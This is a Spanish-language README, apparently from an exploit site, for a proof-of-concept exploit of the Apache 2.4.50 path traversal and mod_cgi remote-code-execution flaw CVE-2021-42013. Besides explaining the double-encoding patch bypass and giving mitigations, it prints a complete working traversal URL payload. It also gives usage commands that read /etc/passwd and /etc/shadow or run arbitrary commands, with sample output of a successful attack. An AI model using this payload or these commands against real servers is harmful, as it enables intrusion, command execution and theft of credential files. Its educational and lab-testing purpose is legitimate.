## https://sploitus.com/exploit?id=EECE9D9F-6DA3-5669-A840-4B74F51D2FBB
# CVE-2021-42013 — PoC: Path Traversal + RCE via mod_cgi (bypass de parche)
> **Solo para uso en entornos controlados y propios. No usar contra sistemas sin autorización.**
---
## Descripción
PoC desarrollada para demostrar **CVE-2021-42013**, presente en **Apache HTTP Server 2.4.50**.
Este CVE es el bypass del parche que Apache publicó para CVE-2021-41773. La versión 2.4.50 intentó corregir el path traversal anterior agregando una validación que rechazaba las secuencias `.%2e` y `%2e.`. Sin embargo, esa validación era insuficiente: no contemplaba que el mismo resultado podía obtenerse con **doble URL encoding**, dejando la misma superficie de ataque expuesta.
---
## Relación con CVE-2021-41773
| | CVE-2021-41773 | CVE-2021-42013 |
|---|---|---|
| Versión afectada | Apache 2.4.49 | Apache 2.4.50 |
| Encoding utilizado | `.%2e/` | `%%32%65%%32%65/` |
| Mecanismo | Single encoding | Doble encoding (bypass de parche) |
| RCE posible | Sí (con mod_cgi) | Sí (con mod_cgi) |
| Versión corregida | 2.4.50 (parche incompleto) | 2.4.51 |
---
## Por qué el parche de 2.4.50 falló
El parche de Apache 2.4.50 agregó una validación en `ap_normalize_path()` que buscaba literalmente las secuencias `.%2e` y `%2e.` en el path de la request. Si las encontraba, rechazaba el request con 400 o 403.
El problema: esa validación se ejecutaba sobre el string **antes de una segunda pasada de decodificación URL**. Si el payload estaba doblemente encodado, la validación no encontraba la secuencia prohibida porque aún no estaba decodificada — y cuando finalmente se decodificaba para resolver el path del filesystem, el `../` ya estaba presente y el traversal ocurría igual.
```
Payload: %%32%65%%32%65/
Validación 2.4.50 busca: .%2e → NO ENCUENTRA → deja pasar
Primera decodificación: %%32%65%%32%65/ → %2e%2e/
Segunda decodificación: %2e%2e/ → ../
Resultado: traversal exitoso
```
La corrección real llegó en 2.4.51, donde Apache reescribió la lógica de normalización para resolver completamente el path antes de aplicar cualquier validación de seguridad.
---
## El doble encoding — cómo funciona
`%%32%65` es la representación doblemente encodada de `.`:
```
. → %2e (encoding estándar)
% → %25 (encoding del símbolo %)
2 → %32 (encoding del carácter '2')
e → %65 (encoding del carácter 'e')
```
Entonces `%2e` con su `%` encodeado y los caracteres hex encodeados se convierte en `%%32%65`.
Una primera decodificación de `%%32%65` produce `%2e`. Una segunda produce `.`.
---
## Condiciones necesarias
| Condición | Detalle |
|-----------|---------|
| Versión de Apache | Exactamente `2.4.50` |
| Directiva de acceso | `Require all granted` en el directorio expuesto |
| Módulo CGI | `mod_cgi` habilitado (solo para RCE) |
---
## Entorno de pruebas
```bash
# Imagen de Apache 2.4.50 con configuración vulnerable
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013
```
O manualmente con Apache 2.4.50 y esta configuración en `httpd.conf`:
```apache
LoadModule cgi_module modules/mod_cgi.so
Require all granted
Options +ExecCGI
AddHandler cgi-script .cgi .pl .sh
Require all granted
Alias /traversal /var/www/html
```
---
## Uso del script
```bash
python PoC_2021-42013.py --target --mode [--cmd ]
```
### Argumentos
| Argumento | Requerido | Descripción |
|-----------|-----------|-------------|
| `--target` | Sí | URL base del servidor (ej: `http://localhost:8080`) |
| `--mode` | Sí | `traversal` para leer archivos, `rce` para ejecutar comandos |
| `--cmd` | No | Comando a ejecutar en modo `rce` (default: `id`) |
### Ejemplos
```bash
# Leer /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal
# Ejecutar id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id
# Comando con espacios
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
```
### Output esperado — modo traversal
```
============================================================
CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
Bypass del parche de CVE-2021-41773 via doble encoding
PoC con fines educativos — Solo en entornos propios
============================================================
[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...
[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:
root:x:0:0:root:/root:/bin/bash
...
```
### Output esperado — modo rce
```
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```
---
## Mitigación
- Actualizar Apache a versión `2.4.51` o superior.
- Mantener `Require all denied` como valor por defecto.
- Deshabilitar `mod_cgi` si no es necesario.
- Nunca confiar en que un parche es completo sin revisarlo: el análisis del diff de 2.4.51 muestra que la corrección real requirió reescribir la lógica de normalización completa.
---
## Referencias
- [NVD — CVE-2021-42013](https://nvd.nist.gov/vuln/detail/CVE-2021-42013)
- [Apache HTTP Server — Security Advisories](https://httpd.apache.org/security/vulnerabilities_24.html)
- [Qualys — CVE-2021-41773 & CVE-2021-42013 Analysis](https://blog.qualys.com/vulnerabilities-threat-research/2021/10/27/apache-http-server-path-traversal-remote-code-execution-cve-2021-41773-cve-2021-42013)
---
*PoC desarrollada con fines educativos para portafolio de seguridad ofensiva.*